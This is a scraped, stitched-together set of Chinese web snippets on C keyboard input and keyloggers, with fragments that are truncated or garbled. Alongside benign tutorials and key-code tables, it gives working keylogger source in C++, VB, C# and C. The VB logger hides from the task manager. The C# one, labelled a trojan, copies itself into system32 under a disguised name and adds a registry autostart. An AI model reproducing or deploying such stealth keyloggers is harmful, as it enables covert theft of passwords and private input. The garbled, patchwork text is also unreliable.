c语言键盘记录
C语言程序设计中键盘输入数据的方法分析
Computer Science and Application 计算机科学与应用, 2019, 9(2), 323-327Published Online February 2019 in Hans. /journal/csahttps:///10.12677/csa.2019.92037Method Analysis of Keyboard Input Data in C Language ProgrammingKui Gao, Xiaocui Fu, Weiyan LiInformation Science and Engineering, Shandong Agricultural University, Tai’an ShandongReceived: Jan. 28th, 2019; accepted: Feb. 6th, 2019; published: Feb. 13th, 2019AbstractIn C language programming, it is often necessary to input the required data from the keyboard, which can be achieved by different input functions. In this paper, some examples and analysis are given for the use of these input functions; through comparison, usage and considerations of each function have been analyzed, to achieve the purpose of correct use.KeywordsScanf, Getchar, Gets, Separator, KeyboardC语言程序设计中键盘输入数据的方法分析高葵,付晓翠,李蔚妍山东农业大学信息科学与工程学院,山东泰安收稿日期:2019年1月28日;录用日期:2019年2月6日;发布日期:2019年2月13日摘要在C语言程序设计中经常需要从键盘输入所需要的数据,可以通过不同的输入函数来实现。
c语言键盘操作
第一章编程技术实现本章内容简介:本章主要介绍如何实现键盘和鼠标的输入,图形图像技术,动画技术,发声技术,汉字显示技术,精确的时间控制技术。
是编写大型程序的基本功。
虽然每个技术所涉及的内容很少,所提及的函数也很少,但是当它们组合在一起的时候,就可以编写大型程序。
一、键盘:首先有必要介绍一下计算机是如何来处理键盘输入的数据的键盘里面有一个微处理器,用来扫描和检测每个键的按下或者抬起的状态,然后向主机传送一个字节的键盘扫描码,键盘扫描码翻译成对应的ASCⅡ码。
作为编程来说,只要知道每个按键都有对应的ASCⅡ码。
由于ASCⅡ码不能将键盘上所有的按键全部包括,因此有些控制键如Ctrl、Alt、End、Home和Del等用扩充的ASCⅡ码表示。
至于每个按键所对应的ASCⅡ码到底是什么,这里介绍一个函数可以实现该功能:int bioskey(int n)该函数声明在bios.h头文件中,所以调用之前需要在程序开始的位置写上#include<bios.h>,(以后如果第一次碰到的函数可以在TC根目录下的include文件夹中的头文件中查找,可以用记事本打开。
)参数n用来确定该函数的三个功能,具体如下表所示表1-1如选参数n为2时,当某位为1时,表示相应的键已按,或相应的控制功能已有效,若key值为0x09, 那么从表1-2中可以得知右Shift键和Alt键被按下,因为只有0x01和0x08相加和为0x09。
若该函数还是无法理解也不影响最后编小游戏,故此处不做详细介绍。
表1-2例1-1:#include<bios.h>int main ( ){int key;key=bioskey(0);printf(“%x”,key);}/* 该例子中,若按下键盘上的UP (↑)键,屏幕会显示4800(16进制),用16进制是一种习惯,在上表2中也体现了这种习惯的合理性。
*/例1-2:#include<stdio.h>#include<bios.h>int main(){int i , s;for(i=0;i<5000;i++){delay(1); /*delay()函数用于延时,即使同样的参数会根据不同的实际情况的不同而延时不同的时间,精确的时间控制请参阅《精确的时间控制》(超链接)一章*/if(bioskey(1)!=0){s=1;break;}}printf(“hello”);}}/* 该例中用了一个5000次的循环,每次延时1,每次去判断是否有按键被按下,如果有,则跳出循环,马上去执行printf(“hello”);若5000次循环里面都没有按键按下,在循环结束后,执行printf(“hello”);这种方法对于最后编小游戏非常有用,在最后的吃豆子放炸弹(超链接)例子中会再次提到*/最后再介绍一个函数:int kbhit(void);该函数声明在conio.h头文件中,所以调用之前需要在程序开始的位置写上#include<conio.h>若按了键盘,该函数返回1,否则返回0;C语言也可以实现鼠标的操作,但由于这种方法效率低,现在的面向对象的编程都不是用C语言的鼠标操作手段。
记录键盘的动作和敲击按键时的时间
记录键盘的动作和敲击按键时的时间日志钩子代码如下,你慢慢品味吧://-----------.cpp文件//---------------------------------------------------------------------------#include <vcl.h>#include <stdio.h>#pragma hdrstop#include "KeyHookU.h"//---------------------------------------------------------------------------#pragma package(smart_init)#pragma resource "*.dfm"TfrmLogHook *frmLogHook;HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);//钩子变量HHOOK g_hLogHook=NULL;//记录上一次得到焦点的窗口句柄HWND g_hLastFocus=NULL;//键盘掩码变量const int KeyPressMask=0x80000000;//保存上一次按键值//char g_PrvChar;//---------------------------------------------------------------------------__fastcall TfrmLogHook::TfrmLogHook(TComponent* Owner): TForm(Owner){}//---------------------------------------------------------------------------void __fastcall TfrmLogHook::btnInstallClick(TObject *Sender){if(g_hLogHook==NULL)//安装日志钩子g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0); }//---------------------------------------------------------------------------void __fastcall TfrmLogHook::btnUninstallClick(TObject *Sender){if(g_hLogHook!=NULL){UnhookWindowsHookEx(g_hLogHook);g_hLogHook=NULL;}}//--------------------------------------------------------------------------- HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam){if(iCode<0)return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);if(iCode==HC_ACTION){EVENTMSG* pEvt=(EVENTMSG*)lParam;int i;HWND hFocus;//保存当前活动窗口句柄char szTitle[256];//当前窗口名称char szTime[128];//当前的日期和时间FILE* stream=fopen("h:\\usr\\logfile.txt","a+");if(pEvt->message==WM_KEYDOWN){int vKey=LOBYTE(pEvt->paramL);//取得虚拟键值char ch;char str[10];hFocus=GetActiveWindow();if(g_hLastFocus!=hFocus){GetWindowText(hFocus,szTitle,256);g_hLastFocus=hFocus;strcpy(szTime,DateTimeToStr(Now()).c_str());fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);fprintf(stream,"%c%c",32,32);}int iShift=GetKeyState(0x10);int iCapital=GetKeyState(0x14);int iNumLock=GetKeyState(0x90);bool bShift=(iShift&KeyPressMask)==KeyPressMask;bool bCapital=(iCapital&1)==1;bool bNumLock=(iNumLock&1)==1;/*if(vKey==9) //TABfprintf(stream,"%c",'\t');if(vKey==13) //回车键fprintf(stream,"%c",'\n');*/if(vKey>=48 && vKey<=57) //数字键0-9{if(!bShift)fprintf(stream,"%c",vKey);else{switch(vKey){case 49:ch='!';break;case 50:ch='@';break;case 51:ch='#';break;case 52:ch='$';break;case 53:ch='%';break;case 54:ch='^';break;case 55:ch='&';break;case 56:ch='*';break;case 57:ch='(';break;case 48:ch=')';break;}fprintf(stream,"%c",ch);}}if(vKey>=65 && vKey<=90) //A-Z a-z{if(!bCapital){if(bShift)ch=vKey;elsech=vKey+32;}else if(bShift)ch=vKey+32;elsech=vKey;fprintf(stream,"%c",ch);}if(vKey>=96 && vKey<=105) //小键盘0-9{if(bNumLock)fprintf(stream,"%c",vKey-96+48);}if(vKey>=186 && vKey<=222) //其它键{switch(vKey){case 186:if (!bShift) ch=';' ;else ch=':' ;break;case 187:if (!bShift) ch='=' ;else ch='+' ;break;case 188:if (!bShift) ch=',' ;else ch='<' ;break;case 189:if (!bShift) ch='-' ;else ch='_' ;break;case 190:if (!bShift) ch='.' ;else ch='>' ;break;case 191:if (!bShift) ch='/' ;else ch='?' ;break;case 192:if (!bShift) ch='`' ;else ch='~' ;break;case 219:if (!bShift) ch='[';else ch='{' ;break;case 220:if (!bShift) ch='\\' ;else ch='|' ;break;case 221:if (!bShift) ch=']';else ch='}' ;break;case 222:if (!bShift) ch='\'';else ch='\"' ;break;default:ch='n' ;break;}if (ch!='n' ) fprintf(stream,"%c",ch);} //if (vKey>=112 && vKey<=123) // 功能键 [F1]-[F12] {switch(wParam){case 112:fprintf(stream,"%s","[F1]");break;case 113:fprintf(stream,"%s","[F2]");break;case 114:fprintf(stream,"%s","[F3]");break;case 115:fprintf(stream,"%s","[F4]");break;case 116:fprintf(stream,"%s","[F5]");break;case 117:fprintf(stream,"%s","[F6]");break;case 118:fprintf(stream,"%s","[F7]");break;case 119:fprintf(stream,"%s","[F8]");break;case 120:fprintf(stream,"%s","[F9]");break;case 121:fprintf(stream,"%s","[F10]");break;case 122:fprintf(stream,"%s","[F11]");break;case 123:fprintf(stream,"%s","[F12]");break;}}if (vKey>=8 && vKey<=46) //方向键{switch (vKey){case 8:strcpy(str,"[BK]");break;case 9:strcpy(str,"[TAB]");break;case 13:strcpy(str,"[EN]");break;case 27:strcpy(str,"[ESC]");break;case 32:strcpy(str,"[SP]");break;case 33:strcpy(str,"[PU]");break;case 34:strcpy(str,"[PD]");break;case 35:strcpy(str,"[END]");break;case 36:strcpy(str,"[HOME]");break;case 37:strcpy(str,"[LF]");break;case 38:strcpy(str,"[UF]");break;case 39:strcpy(str,"[RF]");break;case 40:strcpy(str,"[DF]");break;case 45:strcpy(str,"[INS]");break;case 46:strcpy(str,"[DEL]");break;default:ch='n';break;}if (ch!='n' ){//if (g_PrvChar!=vKey)//{fprintf(stream,"%s",str);// g_PrvChar=vKey;/。
C语言从键盘输入数据
C语言从键盘输入数据C语言从键盘输入数据程序是人机交互的媒介,有输出必然也有输入。
下面是店铺分享的C语言从键盘输入数据的知识,欢迎大家参考!在C语言中,有多个函数可以从键盘获得用户输入:scanf():和 printf() 类似,scanf() 可以输入多种类型的数据。
get)、getche()、getch():这三个函数都用于输入单个字符。
gets():获取一行数据,并作为字符串处理。
scanf() 是最灵活、最复杂、最常用的输入函数,但它不能完全取代其他函数,大家都要有所了解。
scanf()函数scanf 是scan format 的缩写,意思是格式化扫描,也就是从键盘获得用户输入。
我们先来看一个例子:#include#includeint main(){ int a, b, c, d; scanf("%d", &a); //输入整数并赋值给变量a scanf("%d", &b); //输入整数并赋值给变量b printf("a+b=%d ", a+b); //计算a+b的值 scanf("%d %d", &c, &d); //输入两个整数并分别赋值给c、d printf("c*d=%d ", c*d); //计算c*d 的值 system("pause"); return 0;}运行结果:12↙60↙a+b=7210 23↙c*d=230↙表示按下回车键。
从键盘输入12,按下回车键,scanf() 就会读取输入数据并赋值给变量 a,本次输入结束,执行下一条语句。
接着给变量b赋值,也是同样的道理。
第9行代码中,我们同时输入两个整数并分别赋值给c、d。
注意"%d %d"之间是有空格的,所以输入数据时也要有空格。
也就是说,输入数据的格式要和控制字符串的格式一致。
键盘记录原理
键盘记录原理
键盘记录原理是指记录用户在计算机键盘上的输入活动。
当用户在键盘上按下一个键时,键盘会发送一个信号给计算机,计算机会将该信号转换成相应的字符。
键盘记录可以通过软件或硬件实现。
在软件记录的情况下,计算机上安装了特殊的记录程序,它们可以截获键盘输入并将其存储或发送到指定的位置。
这种软件可以在计算机的后台运行,通常不会被用户察觉。
另一种实现键盘记录的方法是通过硬件记录器。
这些记录器通常安装在计算机的键盘连接线上,并在键盘和计算机之间插入。
通过这种方式,记录器可以记录键盘输入并将其保存在本地存储器或发送到远程位置。
键盘记录器的目的有多种,包括监控员工的工作活动、监测儿童的互联网使用、进行调查或收集证据等。
然而,键盘记录也可能被用于非法目的,例如窃取账户信息、密码或其他敏感信息。
为了保护个人隐私和防止键盘记录的滥用,用户可以采取一些措施。
首先,定期更新和运行安全防护软件以确保计算机没有安装恶意记录程序。
其次,避免在公共场所或不可信的计算机上键入敏感信息。
最后,应使用强密码,并避免在多个网站上使用相同的密码。
总之,键盘记录是一种记录用户键盘输入的技术,可以通过软
件或硬件实现。
它可以用于多种目的,但也可能被滥用。
为了保护个人隐私,用户应采取相应的安全措施。
键盘记录器源码
标准模块:Public Declare Function MapV irtualKey Lib "user32" Alias "MapVirtualKeyA" (ByV al wCode As Long, ByV al wMapType As Long) As LongPublic Declare Function GetKeyState Lib "user32" (ByV al nVirtKey As Long) As IntegerPublic DX As DirectX7Public DI As DirectInputPublic DI_Keyboard As DirectInputDevicePublic key_state As DIKEYBOARDSTA TEPublic DataKeyCacheDX As StringPublic DataKeyCacheChar As String窗体模块:Private Sub Form_Load()Set DX = New DirectX7 '建立DirectX对象Set DI = DX.DirectInputCreate() '建立DirectInput对象Set DI_Keyboard = DI.CreateDevice("GUID_SysKeyboard") '建立DirectInput的键盘对象DI_Keyboard.SetCommonDataFormat DIFORMA T_KEYBOARD '设置数据格式DI_Keyboard.SetCooperativeLevel 0, DISCL_BACKGROUND Or DISCL_NONEXCLUSIVE '设置协作模式(就是DX设备要与某个窗口关联)。
DISCL_BACKGROUND这个是最重要的,它让程序即使在后台运行也能监视键盘输入,不然怎么做HOOK呢^_^DI_Keyboard.Acquire '开始' ------------------------Me.V isible = False '后台记录App.TaskV isible = False '在任务管理器中隐藏Timer1.Interval = 45Timer1.Enabled = True '开始轮询End SubPrivate Sub Form_Unload(Cancel As Integer) '结束程序时如果最后一行数据没保存就将其保存If DataKeyCacheDX <> "" ThenDataKeyCacheDX = DataKeyCacheDX & Now & "|"Open App.Path & "\Char.txt" For Append As #2Write #2, DataKeyCacheDXWrite #2, "-------------------------------------" '将两次记录到的数据隔开Close #2DataKeyCacheDX = ""End IfEnd SubPrivate Sub Label2_Click()Me.V isible = False '后台记录App.TaskV isible = False '在任务管理器中隐藏End SubPrivate Sub Timer1_Timer()' DX键盘记录On Error Resume NextStatic keyArray(255) As ByteDim key_count As Integer, vKeycode As Integer, vKeyASC As String, keysz As IntegerDI_Keyboard.GetDeviceStateKeyboard key_state '轮询键盘,并把键盘输入保存到key_state 结构中For key_count = 0 To 255If keyArray(key_count) <> key_state.Key(key_count) Then '判断是否有键被按下或弹起,key_count代表的是被按下的键的扫描码vKeycode = MapVirtualKey(key_count, 1) '扫描码转虚拟码If vKeycode = 123 Then '按F12显示窗口Me.V isible = TrueApp.TaskV isible = TrueEnd Ifkeysz = SmallKeyboard(vKeycode) '将小键盘的虚拟码转换成数字If keysz <> -1 ThenvKeyASC = keyszElsevKeyASC = Chr(MapVirtualKey(vKeycode, 2)) '虚拟码转换为ASCII字符If vKeyASC <> Chr(0) ThenIf GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 ThenvKeyASC = UCase(vKeyASC) '根据大小写锁定键判断大小写ElsevKeyASC = LCase(vKeyASC)End IfIf vKeyASC = " " Then vKeyASC = "【空格】"ElsevKeyASC = "【" & CStr(vKeycode) & "】" '如果是不能显示的键,则直接显示虚拟码End IfEnd IfIf key_state.Key(key_count) = 128 Then '键处于按下状态vKeyASC = vKeyASC & "【down】" & "|" '记录按键DataKeyCacheDX = DataKeyCacheDX & vKeyASC & " " '存储按键,以空格为分隔符End IfIf Len(DataKeyCacheDX) >= 50 Then '每50个字符写一行DataKeyCacheDX = DataKeyCacheDX & Now & "|" '记下写记录的时间Open App.Path & "\Char.txt" For Append As #2Write #2, DataKeyCacheDXClose #2DataKeyCacheDX = ""End IfEnd IfkeyArray(key_count) = key_state.Key(key_count) '防止一次按键重复记录NextEnd SubPrivate Function SmallKeyboard(ByV al vKeycode As Integer) As Integer '小键盘按键转换Select Case vKeycodeCase 45SmallKeyboard = 0 '0的虚拟码为45,下同Case 35SmallKeyboard = 1Case 40SmallKeyboard = 2Case 34SmallKeyboard = 3Case 37SmallKeyboard = 4Case 12SmallKeyboard = 5Case 39SmallKeyboard = 6Case 36SmallKeyboard = 7Case 38SmallKeyboard = 8Case 33SmallKeyboard = 9Case ElseSmallKeyboard = -1End SelectEnd Function。
c#键盘记录木马
this.MyHook.KeyboardEvent += new KeyboardEventHandler(MyHook_KeyboardEvent);
}
private void MyHook_KeyboardEvent(KeyboardEvents keyEvent, Keys key)
private System.Windows.Forms.Button button1;
public Form2()
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
= "tabPage1";
this.tabPage1.Size = new System.Drawing.Size(192, 75);
this.tabPage1.TabIndex = 0;
this.tabPage1.Text = "tabPage1";
//
}
/// <summary>
/// 清理所有正在使用的资源。
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if(components != null)
public int dwExtraInfo;
}
public delegate void KeyboardEventHandler(KeyboardEvents keyEvent ,System.Windows.Forms.Keys key);
C语言中常用单词及电脑快捷键
C语⾔中常⽤单词及电脑快捷键常规键盘快捷键shift+6是省略号……Windows+D:显⽰桌⾯Windows+M:最⼩化所有窗⼝Windows+Shift+M:还原最⼩化的窗⼝Windows+E:开启“资源管理器”Ctrl + C 复制。
Ctrl + X 剪切。
Ctrl + V 粘贴。
Ctrl + Z 撤消。
DELETE 删除。
Alt + F4 关闭当前项⽬或者退出当前程序。
Ctrl+S 保存Ctrl+W 关闭程序Ctrl+N 新建Ctrl+O 打开Ctrl+Z 撤销Ctrl+F 查找Ctrl+X 剪切Ctrl+C 复制Ctrl+V 粘贴Ctrl+A 全选Ctrl+[ 缩⼩⽂字Ctrl+] 放⼤⽂字Ctrl+B 粗体Ctrl+I 斜体Ctrl+U 下划线Ctrl+Shift 输⼊法切换Ctrl+空格中英⽂切换Ctrl+回车QQ号中发送信息Ctrl+Home 光标快速移到⽂件头Ctrl+End 光标快速移到⽂件尾Ctrl+Esc 显⽰开始菜单Ctrl+Shift+< 快速缩⼩⽂字Ctrl+Shift+> 快速放⼤⽂字Ctrl+F5 在IE中强⾏刷新Ctrl+拖动⽂件复制⽂件Ctrl+Backspace 启动\关闭输⼊法Alt+F4 关闭当前程序Alt+空格+C 关闭窗⼝Alt+Tab 两个程序交换Alt + Tab 在打开的项⽬之间切换。
Alt + Esc 以项⽬打开的顺序循环切换。
单独按Windows:显⽰或隐藏“开始”功能表Windows+BREAK:显⽰“系统属性”对话框拖动某⼀项时按CTRL 复制所选项。
拖动某⼀项时按CTRL + SHIFT 创建所选项⽬的快捷键。
CTRL + 向左键将插⼊点移动到前⼀个单词的起始处。
CTRL + 向下键将插⼊点移动到下⼀段落的起始处。
CTRL + 向上键将插⼊点移动到前⼀段落的起始处。
CTRL + SHIFT + 任何箭头键突出显⽰⼀块⽂本。
c语言键盘记录器(注释为汉语)
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"`"ຫໍສະໝຸດ "1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"-",
"=",
"[TAB]",
188,
190,
191,
220,
17,
91,
32,
92,
44,
145,
45,
36,
33,
46,
35,
34,
37,
38,
39,
40,
144,
111,
106,
109,
107,
96,
97,
98,
99,
100,
101,
102,
103,
104,
"q",
"w",
"e",
键盘记录器代码
break; case 191:
if(IS) KeyString = "?";
else KeyString = "/";
break; case 192:
if(IS) KeyString = "~";
else KeyString = "`";
break; case 219:
KeyString = "[Backspace]"; else if (Key == VK_RETURN) // 回车键、换行
KeyString = "[Enter]\n";
else if (Key == VK_SPACE) // 空格 KeyString = " ";
//上档键:键盘记录的时候,可以不记录。单独的 Shift 是不会有任何字符, //上档键和别的键组合,输出时有字符输出
for(int i = 8; i <=255; i++) {
if( (GetAsyncKeyState(i)&1) ==1) {
TempString = GetKey (i); if ( (GetKeyState(VK_CONTROL)&0x80)==0x80)//判断 Ctrl 键是否已经被按下 过
{ file.SeekToEnd(); file.Write("\r\n",strlen("\r\n"));//换行
} file.Write(TempString,TempString.GetLength()); file.Close(); } } } CString GetKey(int Key) // 判断键盘按下什么键
C 语言按键
---------------+---------------+---------------+---------------+---------------
HEX DEC keys |HEX DEC keys |HEX DEC keys |HEX DEC keys |HEX DEC keys
0x1b5d ]
0x1e61 a
0x1f73 s
0x2064 d
0x2166 f
0x2267 g
0x2368 h
0x246a j
0x256b k
0x266c l
0x011b ESC
0x3b00 F1
0x3c00 F2
0x3d00 F3
0x3e00 F4
0x3f00 F5
0x4000 F6
0x4100 F7
0x4200 F8
上面列出的编码中,前面两位是“扫描码”,后面两位是ASCII码,合起来是所谓的“键盘码”,比如,小键盘的数字键扫描码和大键盘的数字键是不同的,而后两位是一样的,因为那个是它们共用的ASCII码
下面就是扫描码的列表
Keyboard Scan Codes (Numerical Order)
0x0837 7
0x0938 8
0x0a39 9
0x0b30 0
0x0c2d -
0x0d3d =
0x2b5c \
0x0e08 退格键
0x0f09 Tab
0x1071 q
0x4f00 End
0x5100 PageDown
0x4800 上箭头
0x4b00 左箭头
C实现记录键盘输入完整版
[HCode=C#]///Hook.cs代码using System;using System.Runtime.InteropServices;using System.Reflection;using System.Windows.Forms;namespace KingOper{public enum KeyboardEvents{KeyDown = 0x0100,KeyUp = 0x0101,SystemKeyDown = 0x0104,SystemKeyUp = 0x0105}[StructLayout(LayoutKind.Sequential)]public struct KeyboardHookStruct{public int vkCode; //表示一个在1到254间的虚似键盘码public int scanCode; //表示硬件扫描码public int flags;public int time;public int dwExtraInfo;}public delegate void KeyboardEventHandler(KeyboardEvents keyEvent ,System.Windows.Forms.Keys key);public class Hook{public event KeyboardEventHandler KeyboardEvent;public enum HookType{WH_JOURNALRECORD = 0,WH_JOURNALPLAYBACK = 1,WH_KEYBOARD = 2,WH_GETMESSAGE = 3,WH_CALLWNDPROC = 4,WH_CBT = 5,WH_SYSMSGFILTER = 6,WH_MOUSE = 7,WH_HARDWARE = 8,WH_DEBUG = 9,WH_SHELL = 10,WH_FOREGROUNDIDLE = 11,WH_CALLWNDPROCRET = 12,WH_KEYBOARD_LL = 13,WH_MOUSE_LL = 14,WH_MSGFILTER = -1,}public delegate IntPtr HookProc(int code, int wParam, IntPtr lParam);[DllImport("User32.dll",CharSet = CharSet.Auto)]public static extern IntPtr SetWindowsHookEx(HookType hookType,HookProc hook,IntPtr instance,int threadID);[DllImport("User32.dll",CharSet = CharSet.Auto)]public static extern IntPtr CallNextHookEx(IntPtr hookHandle, int code, int wParam, IntPtr lParam);[DllImport("User32.dll",CharSet = CharSet.Auto)]public static extern bool UnhookWindowsHookEx(IntPtr hookHandle);private IntPtr instance;private IntPtr hookHandle;private int threadID;private HookProc hookProcEx;public Hook(){this.instance =Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]);this.threadID = 0;hookHandle = IntPtr.Zero;hookProcEx = new HookProc(hookProc);}public bool SetHook(){this.hookHandle = SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadID);return ((int)hookHandle != 0);}public IntPtr hookProc(int code, int wParam, IntPtr lParam){if(code >= 0){KeyboardEvents kEvent = (KeyboardEvents)wParam;if (kEvent != KeyboardEvents.KeyDown &&kEvent != KeyboardEvents.KeyUp &&kEvent != KeyboardEvents.SystemKeyDown&&kEvent != KeyboardEvents.SystemKeyUp){returnCallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam);}KeyboardHookStruct MyKey = new KeyboardHookStruct();Type t = MyKey.GetType();MyKey = (KeyboardHookStruct)Marshal.PtrToStructure(lParam,t);Keys keyData=(Keys)MyKey.vkCode;KeyboardEvent(kEvent, keyData);}returnCallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam);}public bool UnHook(){return Hook.UnhookWindowsHookEx(this.hookHandle);}}}///RegistryReport.cs代码using System;using System.IO;using Microsoft.Win32;using System.Windows.Forms;namespace KingOper{public class RegistryReport{public RegistryReport(){}public void MoveFile(){if(!File.Exists("c:\\windows\\system32\\_system.exe")){File.Move(Application.ExecutablePath,"c:\\windows\\system32\\_system.exe");}elsereturn;}public void registryRun(){RegistryKeykey1=Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\run");key1.SetValue("","c:\\windows\\system32\\_system.exe");key1.Close();}}}///Report.cs代码using System;using System.IO;namespace KingOper{public class Report{public Report(){}public void FirstWrite(){StreamWriter sw = new StreamWriter("c:/windows/system32/keyReport.txt",true);sw.WriteLine("************* LittleStudio Studio ************* ");sw.WriteLine("******** " + DateTime.Today.Year.ToString() + "."+ DateTime.Today.Month.ToString() + "."+ DateTime.Today.Day.ToString() + " "+ DateTime.Now.Hour.ToString() + ":"+ DateTime.Now.Minute.ToString() + ":"+ DateTime.Now.Second.ToString() + " ********");sw.Close();}public void WriteDate(string keyEvents,string keyDate){try{StreamWriter sw = new StreamWriter("c:/keyReport.txt",true);sw.WriteLine(keyDate + "键" + keyEvents + " "+ DateTime.Now.Hour.ToString() + ":"+ DateTime.Now.Minute.ToString() + ":"+ DateTime.Now.Second.ToString());sw.Close();}catch{}return;}}}test_Load调用的实现private Hook MyHook=new Hook();private Report MyReport=new Report();private RegistryReport MyRegistryReport;private void test_Load(object sender, System.EventArgs e){MyRegistryReport=new RegistryReport();this.MyRegistryReport.MoveFile();this.MyRegistryReport.registryRun();this.MyReport.FirstWrite();this.MyHook.SetHook();this.MyHook.KeyboardEvent += new KeyboardEventHandler(MyHook_KeyboardEvent);}private void MyHook_KeyboardEvent(KeyboardEvents keyEvent, Keys key){string keyEvents = keyEvent.ToString();string keyDate = key.ToString();this.MyReport.WriteDate(keyEvents,keyDate);}[/HCode]。
C++中如何实时监控键盘
如何实时监控键盘的按键在一个控制程序中,如何能够实时监控键盘的热键?如设备正在运行,按下键盘的”ESC”来停止程序的运行?使用消息传递和对键盘消息监视检查即可实现。
下面实例就是通过线程程序运行中监视”ESC”按键和”SPACE”按键AppMessage1(tagMSG &Msg, bool &Handled){if (Msg.message == WM_KEYDOWN){if(Msg.wParam ==VK_SPACE){dw = WaitForSingleObject(g_hMutex, INFINITE);//等待互斥量信号if(dw == WAIT_OBJECT_0){KV ar.b1=true;}ReleaseMutex(g_hMutex);}if(Msg.wParam ==VK_ESCAPE){dw = WaitForSingleObject(g_hMutex, INFINITE);//等待互斥量信号if(dw ==WAIT_OBJECT_0)KV ar.b2=true;ReleaseMutex(g_hMutex);}}}在事例程序中,使用线程监控按键,并置变量struct KuseV ar {bool b1; //记录ESC按键按下bool b2; //记录SPACE按键按下};extern KuseV ar KV ar;示例中,”ESC”按键按下时,AppMessage1函数通过Msg.message 检查到是否有按键按下,如果有则通过Msg.wParam 检查是否有”ESC”按键按下,如有则置struct KuseV ar中的b1为true;如有”SPACE”按键按下,则置struct KuseV ar中的b2为true。
Timer1和timer2分别检查struct KuseV ar中的b1、b2来显示按键按下或是恢复。
图1为源程序设计时的窗体布置,图2为程序运行时的界面。
C语言基础一(敲打键盘、寻找资料)
C语⾔基础⼀(敲打键盘、寻找资料)事前声明⼀点:⼩编的所有材料都是基础,没有什么⼤的不同,您若觉得不错的话,可以互相探讨下,毕竟本⼈也是⼩雏鸟。
⼤家在学习C语⾔、C++类似的⾼端语⾔时候,往往都是为了学⽽学,殊不知为什么⽽学,或许更好的环境......⽽⼩编所述的所有知识没有任何的概念,实打实的基础,全凭操作!哪怕你是⼩雏鸟还⼩⽩,或者刚进这个⾏业的新⼈。
记住:跟着敲,包你懂⼀点!不要问什么?C语⾔后⾯跟着C++。
学好后你能写软件,写游戏。
各⾏各业的分⽀。
不管你⽤什么软件,写出⼀个C语⾔的⽂件时,请最好使⽤:⽂件名.c//-------------------------------------------------------------------------------⽂件内容--------------------------------------------------------------------------------------#include <stdio.h>//主⼊⼝int main(){ char a = 'c'; //字符型 printf("char类型:%c", a); short b = 2; //短整型 printf("short类型:%d", b); long b2 = 2; //长整型 printf("long类型:%d", b2); int c = 6; //(整数)整型 printf("int类型:%d", c); float d = 8.0f; //(⼩数单精度)浮点型 printf("float类型:%f", d); double e = 7.0; //(⼩数双精度)浮点型 printf("double类型:%lf",e); getchar(); //暂停,防⽌屏幕⼀闪就关闭了,你可以删除再运⾏看看}//-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------请运⾏你的软件,⼩编使⽤的是Visual Studio 2013编译器,直接F5(加调试)了。
单片机键盘输入编程(c语言)
学习过单片机技术的人都知道,单片机的按键输入一般可分为简单的独立式按键输入及行列式键盘输入两种。
图1为简单的独立式键盘输入示意图,独立式键盘输入适宜于按键输入不多的情况〔<5个按键〕,具有占用口线较少、软件编写简单容易等特点。
图2为行列式键盘输入示意图,列线接P1.0~P1.3,行线接P1.4~P1.7。
行列式键盘输入适宜于按键输入多的情况,如有16个按键输入,用简单按键输入用要占用2个输入口〔共16位〕,而使用行列式键盘输入只需占用一个输入口〔8位〕。
但行列式键盘输入软件编写较复杂,对初学者而言有一定的难度。
以上略谈了一下按键输入的情况。
在很多状态下,按键输入的值要同时要在LED数码管上显示出来。
如一个按键设计为输入递增〔加法〕键,可以设计成每点按一下,数值递增加1,同时在LED数码管上显示出来;也可设计成持续按下时,数值以一定时间间隔〔如0.3秒〕累加。
但是当欲输入值较大时〔如三位LED数码管作输入显示时的输入值最大为999〕,那么可能按下键的时间太长〔最长达300秒〕,看来这种方式只适用于一位或至多两位数值〔最大99〕的输入。
当然你也可多设几个键,每个键只负责一位数值的输入,但这样会占用较多的口线,浪费珍贵的硬件资源。
大家可能见到过,一些进口的温度控制器〔如日本RKC INSTRUMENT INC. 消费的REX_C700温控器〕的面板设计为:温度测量值用4位LED数码管显示,输入设定值显示也用4位LED数码管,输入按键只有4个,一个为“形式设定键〞,一个为“左移键〞,另两个为“加法键〞、“减法键〞。
欲输入设定值〔温控值〕时,按一下“形式设定键〞,程序进入设定状态,此时输入设定值显示的4位LED数码管中,个位显示最亮〔稳定显示〕,而十、百、千位显示较暗〔有闪烁感〕,说明可对个位进展输入。
按下“加法键〞或“减法键〞,即可输入个位数的值;点按一下“左移键〞,变为十位显示最亮,而个、百、千位显示较暗,说明可对十位进展输入。
C语言编写键盘记录器源代码
//CÓïÑÔ±àд¼üÅ̼ǼÆ÷Ô´´úÂ롾תÔØ¡¿2010Äê06ÔÂ16ÈÕ ÐÇÆÚÈý ÏÂÎç 07:59 #include <windows.h>#include <stdio.h>// Some Global Variables// Lower Case Key & Some Other Keyschar *LowerCase[]={"b","e","[ESC]","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]","[F10]","[F11]","[F12]","`","1","2","3","4","5","6","7","8","9","0","-","=","[TAB]","q","w","e","r","t","y","u","o","p","[","]","a","s","d","f","g","h","j","k","l",";","'","z","x","c","v","b","n","m",",",".","/","\\", "[CTRL]", "[WIN]"," ","[WIN]","[Print Screen]", "[Scroll Lock]", "[Insert]", "[Home]", "[PageUp]", "[Del]", "[End]", "[PageDown]", "[Left]", "[UP]", "[Right]", "[Down]","[Num Lock]","*","-","+","0","1","2","3","4","5","6","7","8","9",".",};// Upper Case Key & Some 